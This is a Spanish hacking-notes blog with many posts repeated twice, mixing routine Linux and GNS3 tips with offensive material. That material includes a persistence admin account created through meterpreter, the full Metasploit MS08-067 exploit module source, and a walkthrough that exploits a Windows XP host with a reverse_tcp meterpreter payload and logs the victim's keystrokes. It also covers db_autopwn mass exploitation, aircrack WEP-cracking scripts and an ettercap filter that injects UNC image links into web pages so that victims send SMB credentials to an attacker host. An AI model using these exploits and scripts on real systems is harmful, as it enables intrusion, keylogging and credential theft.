Bueno, el titulo es mentira ;) los ususarios los creamos desde una shell normal y corriente, pero como soy un adicto del hashdump me gusta entrar por la puerta grande.
Uno de los primeros pasos una vez comprometido un sistema es volcar credenciales, informacion es poder, pero si vamos con la hora pegada o estamos sobre el alambre, no esta de mas crearse un usuario para futuros psexec.
Vamos por pasos:
1. Arrancamos un cmd:
execute -H -f cmd.exe -i
2. Creamos un usuario:
net user $usuario $password /add
3. Lo añadimos al grupo de administradores:
net localgroup Administradores $usuario /add
4. Y comprobamos:
net localgroup Administradores
Sacamos una Guinness, nos la bebemos, eructamos y nos hacemos socios del Club Empirico de Amigos del Priapismo (CEAP).
miércoles, 22 de julio de 2009
sábado, 2 de mayo de 2009
No solo de pan vive el hombre...
Cada vez que reinstalo el sistema tengo que meterme en eol y empezar a buscar el puto parametro de k3b para quemar las isos de la xbox, asin que me lo apunto aqui...
* Entramos en el programa, menú Settings > Configure K3B
* Sección Programs
* Pestaña User Parameters
* Buscamos growisofs y añadimos en el recuadro:
-use-the-force-luke=break:1913760
I was out of my head I was so wasted I was wasted.
(Black Flag dixit).
* Entramos en el programa, menú Settings > Configure K3B
* Sección Programs
* Pestaña User Parameters
* Buscamos growisofs y añadimos en el recuadro:
-use-the-force-luke=break:1913760
I was out of my head I was so wasted I was wasted.
(Black Flag dixit).
miércoles, 29 de abril de 2009
Smb relay o Credential reflection? Segun lo mires...
El smb relay, o como lo llama microsoft, credential reflection, es un problema inherente al maravilloso (sic) protocolo samba. Ha sido parcialmente parcheado, solo parcialmente, porque arreglar el desaguisado significaria cambiar la forma en que trabajan compartiendo archivos la inmensa mayoria de los ordenadores.
El protocolo samba actualmente trabaja de la siguiente manera:
1.- El cliente llama a la puerta del servidor.
2.- El servidor mira por la mirilla y le dice que le enseñe la patita, pero de una forma especial, ya que si alguien anda esnifando la red, podria coger al vuelo el hash del password, asi que le propone un reto (challege), yo te mando un challenge, tu me lo codificas con el hash de tu password (que yo conozco) y si coincide con el que yo codifique te abro la puerta...
3.- El cliente le manda el challenge de vuelta codificado con su hash.
4.- El servidor compara los dos challeges y si coinciden quita los cerojos, abre la puerta y le invita a cafe.
Ahora bien, que pasa si hacemos como los hermanos Marx, osea, volver loco al servidor? Pues eso, que se vuelve loco. A este proceso yo lo llamo "la parte contratante de la primera parte"
1.- El cliente llama al timbre.
2.- El servidor le envia el challenge.
3.- El cliente se pone el mundo por montera, pone a los black flag en el mp3 y haciendose el loco le manda otro challenge al servidor diciendo "Si tienes cojones codificame este challenge con mi password".
4.- El servidor, que aunque yanki, parece buen español, si le mientan los cojones pierde la cabeza, asi que responde.
5.- El cliente reenvia el challenge que le acaba de mandar el server.
6.- El servidor cerrojos, puerta, cafe y lo que haga falta...
Un poco absurdo no? Pues si, pero es microsoft, no espereis nada del otro mundo.
Esto funcionaba hasta que se decidieron a parchear el problema. Con vista y server 2008 se arreglo a medias, ya que si hacemos un menage a trois (menasatrua(trio)), entre dos clientes y un servidor y nos metemos en medio (mitm) aquello se convierte en el camarote de los hermanos marx, donde nadie sabe que hacer con el challege y acabamos autentificados ;)
Para realizar este ataque a una maquina sin parchear, habria que cambiar en el registro del cliente el valor de:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]
Que por defecto es "\Device\" y dejarlo en blanco. Reiniciar la maquina y hacer un lindo ataque con el exploit smb_relay de metasploit apuntando al servidor.
P.D: Lei hace tiempo un howto cojonudo, con capturas de wireshark explicando todo el proceso paso a paso, pena que no recuerdo la direccion. Si recupero la memoria linkare.
El protocolo samba actualmente trabaja de la siguiente manera:
1.- El cliente llama a la puerta del servidor.
2.- El servidor mira por la mirilla y le dice que le enseñe la patita, pero de una forma especial, ya que si alguien anda esnifando la red, podria coger al vuelo el hash del password, asi que le propone un reto (challege), yo te mando un challenge, tu me lo codificas con el hash de tu password (que yo conozco) y si coincide con el que yo codifique te abro la puerta...
3.- El cliente le manda el challenge de vuelta codificado con su hash.
4.- El servidor compara los dos challeges y si coinciden quita los cerojos, abre la puerta y le invita a cafe.
Ahora bien, que pasa si hacemos como los hermanos Marx, osea, volver loco al servidor? Pues eso, que se vuelve loco. A este proceso yo lo llamo "la parte contratante de la primera parte"
1.- El cliente llama al timbre.
2.- El servidor le envia el challenge.
3.- El cliente se pone el mundo por montera, pone a los black flag en el mp3 y haciendose el loco le manda otro challenge al servidor diciendo "Si tienes cojones codificame este challenge con mi password".
4.- El servidor, que aunque yanki, parece buen español, si le mientan los cojones pierde la cabeza, asi que responde.
5.- El cliente reenvia el challenge que le acaba de mandar el server.
6.- El servidor cerrojos, puerta, cafe y lo que haga falta...
Un poco absurdo no? Pues si, pero es microsoft, no espereis nada del otro mundo.
Esto funcionaba hasta que se decidieron a parchear el problema. Con vista y server 2008 se arreglo a medias, ya que si hacemos un menage a trois (menasatrua(trio)), entre dos clientes y un servidor y nos metemos en medio (mitm) aquello se convierte en el camarote de los hermanos marx, donde nadie sabe que hacer con el challege y acabamos autentificados ;)
Para realizar este ataque a una maquina sin parchear, habria que cambiar en el registro del cliente el valor de:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]
Que por defecto es "\Device\" y dejarlo en blanco. Reiniciar la maquina y hacer un lindo ataque con el exploit smb_relay de metasploit apuntando al servidor.
P.D: Lei hace tiempo un howto cojonudo, con capturas de wireshark explicando todo el proceso paso a paso, pena que no recuerdo la direccion. Si recupero la memoria linkare.
Clonar imagen vdi de Virtualbox.
Desde la linea de consola:
sudo VBoxManage clonevdi "imagen a clonar".vdi "imagen clonada".vdi
Si la imagen esta fuera del path de VB hay que decirle el path entero y verdadero.
...Y como decian los Misfits...
"Attitude, you got some fucking attitude..." Lalalala la lala
sudo VBoxManage clonevdi "imagen a clonar".vdi "imagen clonada".vdi
Si la imagen esta fuera del path de VB hay que decirle el path entero y verdadero.
...Y como decian los Misfits...
"Attitude, you got some fucking attitude..." Lalalala la lala
Modulo de escaneo para MS08_67 en metasploit.
Guardar como "loquesea".rb en /pentest/exploits/framework3/modules/auxiliary/scanner/smb/.
##
# $Id:$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Server Service Relative Path Stack Corruption',
'Description' => %q{
This module exploits a parsing flaw in the path canonicalization code of
NetAPI32.dll through the Server Service. This development version has
been tested against Windows XP SP2 with DEP enabled.
},
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 5773 $',
'References' =>
[
[ 'MSB', 'MS08-067' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 English', { 'Ret' => 0x6f88f727, 'DisableNX' => 0x6F8916E2, 'Scratch' => 0x00020408 }], # jmp esi / disablenx (acgenral.dll)
[ 'Windows XP SP3 English', { 'Ret' => 0x6f88f807, 'DisableNX' => 0x6F8917C2, 'Scratch' => 0x00020408 }], # jmp esi / disablenx (acgenral.dll)
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71bf175f, 'DisableNX' => 0x71bf175f, 'Scratch' => 0x00020408 }], # jmp esi / jmp esi (ws2help.dll)
],
'DisclosureDate' => 'Oct 12 2008'))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
], self.class)
end
def exploit
# NET_API_STATUS NetprPathCanonicalize(
# [in, string, unique] SRVSVC_HANDLE ServerName,
# [in, string] WCHAR* PathName,
# [out, size_is(OutbufLen)] unsigned char* Outbuf,
# [in, range(0,64000)] DWORD OutbufLen,
# [in, string] WCHAR* Prefix,
# [in, out] DWORD* PathType,
# [in] DWORD Flags
# );
# Padding is really picky for some reason
padder = [*("A".."Z")]
pad = "A"
while(pad.length < 7)
c = padder[rand(padder.length)]
next if pad.index(c)
pad += c
end
prefix = ""
server = Rex::Text.rand_text_alpha(rand(8)+1).upcase
jumper = Rex::Text.rand_text_alpha(70).upcase
jumper[04,4] = [target.ret].pack("V") # jmp esi
jumper[58,2] = "\xeb\x62"
path =
Rex::Text.to_unicode("\\") +
# This buffer is removed from the front
Rex::Text.rand_text_alpha(100) +
# Shellcode
payload.encoded +
# Relative path to trigger the bug
Rex::Text.to_unicode("\\..\\..\\") +
# Extra padding
Rex::Text.to_unicode(pad) +
# Writable memory location (static)
[target['Scratch']].pack("V") + # EBP
# NS_DisableNX::g_szCommandLine() FTW (acgenral.dll)
[target['DisableNX']].pack("V") +
# Padding with embedded jump
jumper +
# NULL termination
"\x00" * 2
connect()
smb_login()
handle = dcerpc_handle(
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
)
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
stub =
NDR.uwstring(server) +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(1024)) +
NDR.wstring("") +
NDR.long(4097) +
NDR.long(0)
begin
print_status("Triggering the vulnerability...")
dcerpc.call(0x1f, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
rescue => e
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
raise e
end
end
# Cleanup
handler
disconnect
end
end
Visio 2007 sobre Crossover en Ubuntu.
Soy poco o nada amigo de los chicos de Redmond, aunque tampoco soy un taliban de Linux (¿o si?), pero he de reconocer que hay cosas que hacen bien, pocas, pero las hay... Y una de ellas es Visio, del cual dependo, por motivos meramente puntuales, totalmente. Asi que aqui van los pasos para virtualizarlo sobre Crossover y no tener que virtualizar un xp.
1.- Crear un nuevo contenedor (bottle) xp.
2.- Descargar de microsoft e instalar en el contenedor como software no soportado en este orden:
dotnetfx.exe
msxml3.msi
msxml6.msi
3.- Instalar el Visio en el mismo contenedor tambien en la opcion software no soportado.
4.- Hacer una captura de pantalla y mandarsela al tio Gates, le alegrareis el dia.
1.- Crear un nuevo contenedor (bottle) xp.
2.- Descargar de microsoft e instalar en el contenedor como software no soportado en este orden:
dotnetfx.exe
msxml3.msi
msxml6.msi
3.- Instalar el Visio en el mismo contenedor tambien en la opcion software no soportado.
4.- Hacer una captura de pantalla y mandarsela al tio Gates, le alegrareis el dia.
lunes, 27 de abril de 2009
Usar la consola de gnome con el gns3.
Con la siguiente configuracion:
gnome-terminal -t %d -e 'telnet %h %p' > /dev/null 2>&1 &
viernes, 17 de abril de 2009
Añadir ruta a una red externa.
Para tener conectividad con las redes creadas dentro del gns, una vez creado el puente br0:
route add -net xxx.xxx.xxx.xxx netmask xxx.xxx.xxx.xxx gw xxx.xxx.xxx.xxx dev br0
Configurando el puente como gateway para esas redes:
ifconfig br0 xxx.xxx.xxx.xxx
route add -net xxx.xxx.xxx.xxx netmask xxx.xxx.xxx.xxx gw xxx.xxx.xxx.xxx dev br0
Configurando el puente como gateway para esas redes:
ifconfig br0 xxx.xxx.xxx.xxx
jueves, 2 de abril de 2009
¿Como conectar la nube del Gns3 a tu red y no morir en el intento?
Haciendo lo siguiente:
Lo primero, instalar los siguientes paquetes:
bridge-utils
uml-utilities
Luego crear y levantar br0 y tap0. (En este ejemplo se cuenta con una interfaz eth0, la cual tiene una ip 192.168.1.2/24 y una gateway 192.168.1.1).
1.- Creamos br0 y lo levantamos.
brctl addbr br0
ifconfig br0 up
2.-Creamos tap0 y lo levantamos tambien. En usuario ponemos eso, vuestro usuario.
tunctl -t tap0 -u "usuario"
ifconfig tap0 up
3.- Asociamos nuestro puente a las interfaces que lo van a formar.
brctl addif br0 tap0
brctl addif br0 eth0
4.- Si queremos asegurarnos de que se ha creado bien hacemos un show.
brctl show br0
5.- Asignamos la ip 0.0.0.0 a nuestro interfaz fisico y le ponemos en modo promiscuo.
ifconfig eth0 0.0.0.0 promisc
6.- Asignamos la ip y la gateway a nuestro puente.
ip a a 192.168.1.2/24 br0
ip r a default via 192.168.1.1
Y eso es todo. Ya solo queda configurar la nube del Gns3 como nio_tap:tap0 y pingear (sic) para probarlo.
Router(config)#do ping 192.168.1.2
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.1.2, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/4 ms
Lo primero, instalar los siguientes paquetes:
bridge-utils
uml-utilities
Luego crear y levantar br0 y tap0. (En este ejemplo se cuenta con una interfaz eth0, la cual tiene una ip 192.168.1.2/24 y una gateway 192.168.1.1).
1.- Creamos br0 y lo levantamos.
brctl addbr br0
ifconfig br0 up
2.-Creamos tap0 y lo levantamos tambien. En usuario ponemos eso, vuestro usuario.
tunctl -t tap0 -u "usuario"
ifconfig tap0 up
3.- Asociamos nuestro puente a las interfaces que lo van a formar.
brctl addif br0 tap0
brctl addif br0 eth0
4.- Si queremos asegurarnos de que se ha creado bien hacemos un show.
brctl show br0
5.- Asignamos la ip 0.0.0.0 a nuestro interfaz fisico y le ponemos en modo promiscuo.
ifconfig eth0 0.0.0.0 promisc
6.- Asignamos la ip y la gateway a nuestro puente.
ip a a 192.168.1.2/24 br0
ip r a default via 192.168.1.1
Y eso es todo. Ya solo queda configurar la nube del Gns3 como nio_tap:tap0 y pingear (sic) para probarlo.
Router(config)#do ping 192.168.1.2
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.1.2, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/4 ms
Bug en el Gns3.
Aprovechando que he acabado mis quehaceres pronto (gracias Erasto) y ante la imposibilidad de correr adecuadamente el gns3 en linux, teniendo que virtualizar un windows, me he puesto a buscar y he encontrado el porque. Se trata de un bug en la version de los repositorios que afecta al enlace manual, el cual se corrige en la version 6 que se puede conseguir en estos repositorios:
# gpl.code.de
deb http://gpl.code.de/debian unstable/
deb-src http://gpl.code.de/debian unstable/
deb http://gpl.code.de/debian testing/
deb-src http://gpl.code.de/debian testing/
La llave publica es esta:
wget http://gpl.code.de/DB898410.key.pub.asc -O - | sudo apt-key add -
EDITO: En la version de los repos de jaunty (9.04) ya viene corregido el bug. Upgrade or die.
# gpl.code.de
deb http://gpl.code.de/debian unstable/
deb-src http://gpl.code.de/debian unstable/
deb http://gpl.code.de/debian testing/
deb-src http://gpl.code.de/debian testing/
La llave publica es esta:
wget http://gpl.code.de/DB898410.key.pub.asc -O - | sudo apt-key add -
EDITO: En la version de los repos de jaunty (9.04) ya viene corregido el bug. Upgrade or die.
miércoles, 1 de abril de 2009
Guest additions en Backtrack 3.
Una cosa que me traia por la calle de la amargura, como instalar los guest additions en la virtualizacion del backtrack, ya que me daba error por los headers.
bt~#wget http://www.offensive-security.com/kernel.lzm
bt~#lzm2dir kernel.lzm /
Y a correr. Pureh@te es el puto amo...
bt~#wget http://www.offensive-security.com/kernel.lzm
bt~#lzm2dir kernel.lzm /
Y a correr. Pureh@te es el puto amo...
lunes, 30 de marzo de 2009
Keylogger a traves de meterpreter con metasploit.
Leyendo el blog de metasploit veo un interesante post que relata como hacer funcionar un keylogger en una sesion de meterpreter en dos patadas.
1.- Arrancamos el meta.
./msfconsole
2.- Cargamos el exploit.
use exploit/windows/smb/ms08_067_netapi
3.- Cargamos el payload.
set PAYLOAD windows/meterpreter/reverse_tcp
4.- Elegimos la victima.
set RHOST 192.168.1.3
5.- Nos declaramos culpables ;)
set LHOST 192.168.1.2
6.- Explotamos.
exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:Spanish
[*] Selected Target: Windows XP SP3 Spanish (NX)
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.3:1025)
7.- Una vez iniciada la sesion, vemos los procesos.
ps
Process list
============
PID Name Path
--- ---- ----
176 wuauclt.exe C:\WINDOWS\system32\wuauclt.exe
192 svchost.exe C:\WINDOWS\System32\svchost.exe
476 smss.exe \SystemRoot\System32\smss.exe
548 csrss.exe \??\C:\WINDOWS\system32\csrss.exe
572 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
616 services.exe C:\WINDOWS\system32\services.exe
620 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe
628 lsass.exe C:\WINDOWS\system32\lsass.exe
732 Explorer.EXE C:\WINDOWS\Explorer.EXE
780 svchost.exe C:\WINDOWS\system32\svchost.exe
1196 svchost.exe C:\WINDOWS\system32\svchost.exe
1232 svchost.exe C:\WINDOWS\System32\svchost.exe
1292 userinit.exe C:\WINDOWS\system32\userinit.exe
1348 svchost.exe C:\WINDOWS\system32\svchost.exe
1380 igfxpers.exe C:\WINDOWS\system32\igfxpers.exe
1496 SynTPStart.exe C:\Archivos de programa\Synaptics\SynTP\SynTPStart.exe
1504 igfxtray.exe C:\WINDOWS\system32\igfxtray.exe
1512 hkcmd.exe C:\WINDOWS\system32\hkcmd.exe
1564 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
1616 RTHDCPL.EXE C:\WINDOWS\RTHDCPL.EXE
1688 svchost.exe C:\WINDOWS\system32\svchost.exe
1724 svchost.exe C:\WINDOWS\system32\svchost.exe
1876 Wlan.exe C:\Archivos de programa\WLAN\USB_WLAN_Utilidad\Wlan.exe
1932 SynTPEnh.exe C:\Archivos de programa\Synaptics\SynTP\SynTPEnh.exe
1984 WMIADAP.EXE \\?\C:\WINDOWS\system32\WBEM\WMIADAP.EXE
2032 wmiprvse.exe C:\WINDOWS\system32\wbem\wmiprvse.exe
8.- Buscamos el proceso "Explorer.exe", que es el 732 y nos apropiamos de el.
migrate 732
9.- Una vez migrado, ejecutamos keyscan_start y a esperar.
10.- Ejecutamos keyscan_dump y nos volcara en pantalla lo que se haya tecleando en la victima.
Dumping captured keystrokes...
estoy escribiendo esto en el wordpad aupa
Por cierto, leo en un post posterior (valga la redundancia) que tambien nos podemos apropiar del proceso winlogon.exe :* que cada cual saque sus concluiones.
1.- Arrancamos el meta.
./msfconsole
2.- Cargamos el exploit.
use exploit/windows/smb/ms08_067_netapi
3.- Cargamos el payload.
set PAYLOAD windows/meterpreter/reverse_tcp
4.- Elegimos la victima.
set RHOST 192.168.1.3
5.- Nos declaramos culpables ;)
set LHOST 192.168.1.2
6.- Explotamos.
exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:Spanish
[*] Selected Target: Windows XP SP3 Spanish (NX)
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.3:1025)
7.- Una vez iniciada la sesion, vemos los procesos.
ps
Process list
============
PID Name Path
--- ---- ----
176 wuauclt.exe C:\WINDOWS\system32\wuauclt.exe
192 svchost.exe C:\WINDOWS\System32\svchost.exe
476 smss.exe \SystemRoot\System32\smss.exe
548 csrss.exe \??\C:\WINDOWS\system32\csrss.exe
572 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
616 services.exe C:\WINDOWS\system32\services.exe
620 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe
628 lsass.exe C:\WINDOWS\system32\lsass.exe
732 Explorer.EXE C:\WINDOWS\Explorer.EXE
780 svchost.exe C:\WINDOWS\system32\svchost.exe
1196 svchost.exe C:\WINDOWS\system32\svchost.exe
1232 svchost.exe C:\WINDOWS\System32\svchost.exe
1292 userinit.exe C:\WINDOWS\system32\userinit.exe
1348 svchost.exe C:\WINDOWS\system32\svchost.exe
1380 igfxpers.exe C:\WINDOWS\system32\igfxpers.exe
1496 SynTPStart.exe C:\Archivos de programa\Synaptics\SynTP\SynTPStart.exe
1504 igfxtray.exe C:\WINDOWS\system32\igfxtray.exe
1512 hkcmd.exe C:\WINDOWS\system32\hkcmd.exe
1564 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
1616 RTHDCPL.EXE C:\WINDOWS\RTHDCPL.EXE
1688 svchost.exe C:\WINDOWS\system32\svchost.exe
1724 svchost.exe C:\WINDOWS\system32\svchost.exe
1876 Wlan.exe C:\Archivos de programa\WLAN\USB_WLAN_Utilidad\Wlan.exe
1932 SynTPEnh.exe C:\Archivos de programa\Synaptics\SynTP\SynTPEnh.exe
1984 WMIADAP.EXE \\?\C:\WINDOWS\system32\WBEM\WMIADAP.EXE
2032 wmiprvse.exe C:\WINDOWS\system32\wbem\wmiprvse.exe
8.- Buscamos el proceso "Explorer.exe", que es el 732 y nos apropiamos de el.
migrate 732
9.- Una vez migrado, ejecutamos keyscan_start y a esperar.
10.- Ejecutamos keyscan_dump y nos volcara en pantalla lo que se haya tecleando en la victima.
Dumping captured keystrokes...
estoy escribiendo esto en el wordpad
Por cierto, leo en un post posterior (valga la redundancia) que tambien nos podemos apropiar del proceso winlogon.exe :* que cada cual saque sus concluiones.
Script instalacion Backtrack 3 en disco duro.
Lo primero partir el disco en tres, por ejemplo:
sda1=/boot
sda2=swap
sda3= /
Una vez hechas las particiones, nos aseguramos de que esten desmontadas y ejecutamos:
#!/bin/bash
#ACTIVAR LA SWAP
mkswap /dev/sda2
swapon /dev/sda2
#COPIAR AL DISCO DURO
mkdir /mnt/backtrack
mount /dev/sda3 /mnt/backtrack/
mkdir /mnt/backtrack/boot/
mount /dev/sda1 /mnt/backtrack/boot/
bt~#cp --preserve -R /{bin,dev,home,pentest,root,usr,etc,lib,opt,sbin,var} /mnt/backtrack/
mkdir /mnt/backtrack/{mnt,proc,sys,tmp}
bt~#mount --bind /dev/ /mnt/backtrack/dev/
bt~#mount -t proc proc /mnt/backtrack/proc/
bt~#cp /boot/vmlinuz /mnt/backtrack/boot/
Y luego configuramos lilo:
chroot /mnt/backtrack/ /bin/bash
nano /etc/lilo.conf
Dejamos esta configuracion:
lba32
boot=/dev/sda
prompt
timeout=60
change-rules
reset
vga=791
image = /boot/vmlinuz
root = /dev/sda3
label = backtrack3_final
Guardamos, salimos y ejecutamos:
lilo -v
...Y listo.
Fuente original:
http://forums.remote-exploit.org/showthread.php?t=14751&page=16
sda1=/boot
sda2=swap
sda3= /
Una vez hechas las particiones, nos aseguramos de que esten desmontadas y ejecutamos:
#!/bin/bash
#ACTIVAR LA SWAP
mkswap /dev/sda2
swapon /dev/sda2
#COPIAR AL DISCO DURO
mkdir /mnt/backtrack
mount /dev/sda3 /mnt/backtrack/
mkdir /mnt/backtrack/boot/
mount /dev/sda1 /mnt/backtrack/boot/
bt~#cp --preserve -R /{bin,dev,home,pentest,root,usr,etc,lib,opt,sbin,var} /mnt/backtrack/
mkdir /mnt/backtrack/{mnt,proc,sys,tmp}
bt~#mount --bind /dev/ /mnt/backtrack/dev/
bt~#mount -t proc proc /mnt/backtrack/proc/
bt~#cp /boot/vmlinuz /mnt/backtrack/boot/
Y luego configuramos lilo:
chroot /mnt/backtrack/ /bin/bash
nano /etc/lilo.conf
Dejamos esta configuracion:
lba32
boot=/dev/sda
prompt
timeout=60
change-rules
reset
vga=791
image = /boot/vmlinuz
root = /dev/sda3
label = backtrack3_final
Guardamos, salimos y ejecutamos:
lilo -v
...Y listo.
Fuente original:
http://forums.remote-exploit.org/showthread.php?t=14751&page=16
domingo, 29 de marzo de 2009
Script de instalacion de metasploit con autopwn.
Este es el script:
apt-get install -y ruby libruby rdoc
apt-get install -y libyaml-ruby
apt-get install -y libzlib-ruby
apt-get install -y libopenssl-ruby
apt-get install -y libdl-ruby
apt-get install -y libreadline-ruby
apt-get install -y libiconv-ruby
apt-get install -y rubygems
apt-get install -y ruby1.8-dev
apt-get install -y libpq-dev
apt-get install -y subversion
apt-get install -y postgresql postgresql-client postgresql-contrib
apt-get install -y pgadmin3
sudo su postgres -c psql
ALTER USER postgres WITH PASSWORD 'xxx';
sudo passwd -d postgres
sudo su postgres -c passwd
sudo gem1.8 install activerecord
sudo gem1.8 install postgres
cd ~/
mkdir bin
cd bin
svn co http://metasploit.com/svn/framework3/trunk/ metasploit
cd metasploit
svn up
El password para el usuario postgres hay que ponerlo en el valor "xxx"
Por defecto instala metasploit en /root/bin/
Una vez instalado, su postgres, password el que se haya elegido y arrancamos msfconsole.
Dentro de la consola:
load db_postgres
db_create test
db_hosts
db_nmap xxx.xxx.xxx.xxx -p xxx
db_autopwn -t -p -e -s -b
El nmap lo dirigimos a la ip que queramos, si queremos un rango "-PN xxx.xxx.xxx.xxx/xx", siendo xx la mascara, y "-p xxx" los puertos que queramos analizar, p.e: 1-445
Una vez acabado:
Sessions -l: Nos dice las sesiones abiertas (en caso de).
Sessions -l -v: Nos dice ademas el tipo de exploit que funciono.
Sessions -i x:Siendo x en numero de sesion, nos abre la shell.
apt-get install -y ruby libruby rdoc
apt-get install -y libyaml-ruby
apt-get install -y libzlib-ruby
apt-get install -y libopenssl-ruby
apt-get install -y libdl-ruby
apt-get install -y libreadline-ruby
apt-get install -y libiconv-ruby
apt-get install -y rubygems
apt-get install -y ruby1.8-dev
apt-get install -y libpq-dev
apt-get install -y subversion
apt-get install -y postgresql postgresql-client postgresql-contrib
apt-get install -y pgadmin3
sudo su postgres -c psql
ALTER USER postgres WITH PASSWORD 'xxx';
sudo passwd -d postgres
sudo su postgres -c passwd
sudo gem1.8 install activerecord
sudo gem1.8 install postgres
cd ~/
mkdir bin
cd bin
svn co http://metasploit.com/svn/framework3/trunk/ metasploit
cd metasploit
svn up
El password para el usuario postgres hay que ponerlo en el valor "xxx"
Por defecto instala metasploit en /root/bin/
Una vez instalado, su postgres, password el que se haya elegido y arrancamos msfconsole.
Dentro de la consola:
load db_postgres
db_create test
db_hosts
db_nmap xxx.xxx.xxx.xxx -p xxx
db_autopwn -t -p -e -s -b
El nmap lo dirigimos a la ip que queramos, si queremos un rango "-PN xxx.xxx.xxx.xxx/xx", siendo xx la mascara, y "-p xxx" los puertos que queramos analizar, p.e: 1-445
Una vez acabado:
Sessions -l: Nos dice las sesiones abiertas (en caso de).
Sessions -l -v: Nos dice ademas el tipo de exploit que funciono.
Sessions -i x:Siendo x en numero de sesion, nos abre la shell.
Scripts basicos-basicos de la suite aircrack.
Ayer, hasta la polla de picar caracteres peleandome con unas wifis, escribi estos tres scripts neandertales. Seria interesante, si el tiempo lo permite, evolucionarlo un poco...
1.- Colocar la tarjeta en modo promiscuo...
airmon-ng start wlan0
2.- wifi1...
#!/bin/bash
airodump-ng mon0
echo 'Canal?'
read A
echo 'Bssid?'
read B
echo 'Fichero?'
read W
airodump-ng -c $A --bssid $B -w $W mon0
3.- wifi2
#!/bin/bash
echo 'Nombre?'
read N
echo 'Bssid?'
read B
aireplay-ng --fakeauth 6000 -o 1 -q 10 -e $N -a $B mon0
4.- wifi3
#!/bin/bash
echo 'Bssid?'
read B
aireplay-ng -3 -b $B mon0 -x 250
Ideas generales de desarrollo:
1.- Crear un pantallazo inicial para hacer airmon o ir directamente al airodump, o mejor, que detecte mon0 y lo cree si no existe...
2.- Que vaya abriendo nuevas terminales con los tres procesos.
3.- Que una vez se hayan alcanzado las 40000 iv's se abra otra terminal con el aircrack.
Quizas hubiera tardado menos en rectificar los scripts que en escribir esta entrada...
1.- Colocar la tarjeta en modo promiscuo...
airmon-ng start wlan0
2.- wifi1...
#!/bin/bash
airodump-ng mon0
echo 'Canal?'
read A
echo 'Bssid?'
read B
echo 'Fichero?'
read W
airodump-ng -c $A --bssid $B -w $W mon0
3.- wifi2
#!/bin/bash
echo 'Nombre?'
read N
echo 'Bssid?'
read B
aireplay-ng --fakeauth 6000 -o 1 -q 10 -e $N -a $B mon0
4.- wifi3
#!/bin/bash
echo 'Bssid?'
read B
aireplay-ng -3 -b $B mon0 -x 250
Ideas generales de desarrollo:
1.- Crear un pantallazo inicial para hacer airmon o ir directamente al airodump, o mejor, que detecte mon0 y lo cree si no existe...
2.- Que vaya abriendo nuevas terminales con los tres procesos.
3.- Que una vez se hayan alcanzado las 40000 iv's se abra otra terminal con el aircrack.
Quizas hubiera tardado menos en rectificar los scripts que en escribir esta entrada...
Smb_relay con ettercap.
Se utilizara un filtro para ettercap cuyo codigo es el siguiente:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
#####################
# Internet Explorer #
#####################
if (ip.proto == TCP && tcp.src == 80) {
replace("</body>", "<img src=\"\\\\xxx.xxx.xxx.xxx\\image.jpg\"></body>");
replace("</Body>", "<IMG SRC=\"\\\\xxx.xxx.xxx.xxx\\image.jpg\"></body>");
msg("Filter Ran.\n");
}
############################
# Firefox prior to 2.0.0.4 #
############################
if (ip.proto == TCP && tcp.src == 80) {
replace("</body>", "<img src=\"moz-icon:file:////xxx.xxx.xxx.xxx/share/hello.jpg\"></body>");
replace("</Body>", "<img src=\"moz-icon:file:////xxx.xxx.xxx.xxx/share/hello.jpg\"></body>");
msg("Filter Ran.\n");
}
###################
# Firefox 2.0.0.4 #
###################
